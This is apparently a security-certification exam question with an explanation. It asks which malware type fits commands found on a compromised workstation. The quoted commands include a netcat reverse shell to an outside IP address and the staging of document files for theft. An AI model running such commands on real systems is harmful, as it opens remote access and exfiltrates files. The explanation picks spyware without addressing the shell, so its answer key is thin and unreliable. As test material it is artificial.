A security analyst believes an employee's workstation has been compromised. The analyst reviews the system logs, but does not fi
nd any attempted logins. The analyst then runs the diff command, comparing the C:\windows\System32 directory and the installed cache directory. The Analyst finds a series of files that look suspicious.One of the files contains the following commands:Cmd /c $TEMP$\nc -e cmd.exe 34.100.43.230Copy *.doc> $TEMP$\docfiles.zipCopy *.xls> $TEMP$\xlsfiles.zipCopy *.pdf> $TEMP$\pdffiles.zipWhich of the following types of malware was used?A.WormB.SpywareC.Logic bombD.Backdoor
The definition of the spyware program is a malware that collects information from a computer and then transmits this information to an external entity without the knowledge or consent of the computer owner.
Characteristics of a spyware:
It runs without the knowledge or authorization of the owner or user of the infected computer and performs functions on the system that are harmful to the system.
How to remove it? Use a reliable malware removal tool, such as the one you can find in good antimalware software.
